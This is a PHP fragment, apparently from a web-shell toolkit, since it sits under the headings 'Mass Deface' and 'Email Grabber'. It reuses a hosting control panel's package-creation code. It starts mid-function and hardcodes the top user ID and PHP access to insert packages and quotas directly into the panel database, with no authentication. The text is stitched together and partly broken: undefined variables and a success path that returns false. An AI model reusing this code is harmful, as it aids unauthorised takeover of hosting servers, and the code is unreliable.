Mass Deface
Email Grabber
GetAllControllerRequests('FORM');
$enable_php = 1;
$user_id = 1;
$max_no_forwarders = -1;
if (ExecuteCreatePackage($user_id, $package_name, $enable_php, $max_no_domains, $max_no_sub_domains, $max_no_parked_domains,
$max_no_mailboxes, $max_no_forwarders, $max_no_distlists, $max_no_ftp_accounts, $max_no_mysql, $max_disk_quota, $max_bandwidth))
return true;
return false;
}
function ExecuteCreatePackage($uid, $package_name, $enable_php, $Domains, $SubDomains, $ParkedDomains, $Mailboxes, $Fowarders,
$DistLists, $FTPAccounts, $MySQL, $DiskQuota, $BandQuota)
{
global $zdbh;
if (fs_director::CheckForEmptyValue(CheckNumeric($enable_php, $Domains, $SubDomains, $ParkedDomains, $Mailboxes, $Fowarders,
$DistLists, $FTPAccounts, $MySQL, $DiskQuota, $BandQuota)))
{
return false;
}
$package_name = str_replace(' ', '', $package_name);
// Check for errors before we continue...
if (fs_director::CheckForEmptyValue(CheckCreateForErrors($package_name, $uid))) {
return false;
}
runtime_hook::Execute('OnBeforeCreatePackage');
# If the user submitted a 'new' request then we will simply add the package to the database...
$sql = $zdbh->prepare("INSERT INTO x_packages (pk_reseller_fk, pk_name_vc, pk_enablephp_in, pk_created_ts)
VALUES ( :uid, :package_name, :php, :time);");
$php = fs_director::GetCheckboxValue($enable_php);
$sql->bindParam(':php', $php);
$sql->bindParam(':uid', $uid);
$time = time();
$sql->bindParam(':time', $time);
$pack = addslashes($package_name);
$sql->bindParam(':package_name', $pack);
$sql->execute();
$package_id = $zdbh->lastInsertId();
# Now lets pull back the package ID so we can use it in the other tables we are about to manipulate.
/*$numrows = $zdbh->prepare("SELECT * FROM x_packages WHERE pk_reseller_fk=:uid AND pk_name_vc=:package_name AND pk_deleted_ts IS NULL");
$numrows->bindParam(':uid', $uid);
$numrows->bindParam(':package_name', $package_name);
$numrows->execute();
$package = $numrows->fetch();
*/
$sql = $zdbh->prepare("INSERT INTO x_quotas (qt_package_fk, qt_domains_in, qt_subdomains_in, qt_parkeddomains_in, qt_mailboxes_in,
qt_fowarders_in, qt_distlists_in, qt_ftpaccounts_in, qt_mysql_in, qt_diskspace_bi, qt_bandwidth_bi)
VALUES ( :pk_id_pk, :Domains, :SubDomains, :ParkedDomains, :Mailboxes, :Fowarders, :DistLists, :FTPAccounts,
:MySQL, :DiskQuotaFinal, :BandQuotaFinal)");
$DiskQuotaFinal = $DiskQuota * 1024000;
$BandQuotaFinal = $BandQuota * 1024000;
$sql->bindParam(':DiskQuotaFinal', $DiskQuotaFinal);
$sql->bindParam(':BandQuotaFinal', $BandQuotaFinal);
$sql->bindParam(':MySQL', $MySQL);
$sql->bindParam(':DistLists', $DistLists);
$sql->bindParam(':Fowarders', $Fowarders);
$sql->bindParam(':Mailboxes', $Mailboxes);
$sql->bindParam(':SubDomains', $SubDomains);
$sql->bindParam(':FTPAccounts', $FTPAccounts);
$sql->bindParam(':ParkedDomains', $ParkedDomains);
$sql->bindParam(':Domains', $Domains);
$sql->bindParam(':pk_id_pk', $package_id);
//$sql->bindParam(':pk_id_pk', $package['pk_id_pk']);
$sql->execute();
runtime_hook::Execute('OnAfterCreatePackage');
//self::$ok = true;
echo "NEWPACKAGE_SUCCESSFULLY_ADDED";
//return "NEWPACKAGE_SUCCESSFULLY_ADDED";
return false;
}
function CheckCreateForErrors($package_name, $uid, $pid = 0)
{
global $zdbh;
$package_name = str_replace(' ', '', $package_name);
# Check to make sure the packagename is not blank or exists for reseller before we go any further...
if (!fs_director::CheckForEmptyValue($package_name)) {
$sql = "SELECT COUNT(*) FROM x_packages WHERE UPPER(pk_name_vc)=:packageNameSlashes
AND pk_reseller_fk=:uid AND pk_id_pk !=:pid AND pk_deleted_ts IS NULL";
$packageNameSlashes = addslashes(strtoupper($package_name));
$numrows = $zdbh->prepare($sql);
$numrows->bindParam(':packageNameSlashes', $packageNameSlashes);
$numrows->bindParam(':uid', $uid);
$numrows->bindParam(':pid', $pid);
if ($numrows->execute()) {
if ($numrows->fetchColumn() <> 0) {
//self::$alreadyexists = true;
echo "PACKAGE_ALREADY_EXISTS";
//return "PACKAGE_ALREADY_EXISTS";
return false;
}
}
} else {
//self::$blank = true;
echo "BLANK_PACKAGE_NAME";
//return "BLANK_PACKAGE_NAME";
return false;
}
// Check packagename format.
/* if (!IsValidPackageName($package_name)) {
//self::$badname = true;
echo "BAD_PACKAGE_NAME";
//return "BAD_PACKAGE_NAME";
return false;
} */
return true;
}
function IsValidPackageName($package_name)
{
//if (!preg_match('/^[a-z\d][a-z\d-]{0,62}$/i', $package_name) || preg_match('/-$/', $package_name)) {
if (!preg_match('#^[A-Za-z0-9_-]{3,20}$#s', $package_name)) {
return false;
}
return true;
}
function CheckNumeric($enable_php, $Domains, $SubDomains, $ParkedDomains, $Mailboxes, $Fowarders, $DistLists, $FTPAccounts, $MySQL, $DiskQuota, $BandQuota)
{
if (!is_numeric($enable_php) || !is_numeric($Domains) || !is_numeric($SubDomains) || !is_numeric($ParkedDomains) ||
!is_numeric($Mailboxes) || !is_numeric($Fowarders) || !is_numeric($DistLists) || !is_numeric($FTPAccounts) ||
!is_numeric($MySQL) || !is_numeric($DiskQuota) || !is_numeric($BandQuota))
{
//self::$error = true;
echo "NOT_A_NUMERIC_VALUE";
//return "NOT_A_NUMERIC_VALUE";
return false;
}
else
{
return true;
}
}
function getResult()
{
if (!fs_director::CheckForEmptyValue($blank)) {
return ui_sysmessage::shout(ui_language::translate("You need to specify a package name to create your package."), "zannounceerror");
}
if (!fs_director::CheckForEmptyValue($badname)) {
return ui_sysmessage::shout(ui_language::translate("Your package name is not valid. Please enter a valid package name."), "zannounceerror");
}
if (!fs_director::CheckForEmptyValue($alreadyexists)) {
return ui_sysmessage::shout(ui_language::translate("A package with that name already appears to exsist."), "zannounceerror");
}
if (!fs_director::CheckForEmptyValue($error)) {
return ui_sysmessage::shout(ui_language::translate("There was an error updating your packages"), "zannounceerror");
}
if (!fs_director::CheckForEmptyValue($samepackage)) {
return ui_sysmessage::shout(ui_language::translate("You cant move clients to the same package you are deleting!"), "zannounceerror");
}
if (!fs_director::CheckForEmptyValue($ok)) {
return ui_sysmessage::shout(ui_language::translate("Changes to your packages have been saved successfully!"), "zannounceok");
}
return;
}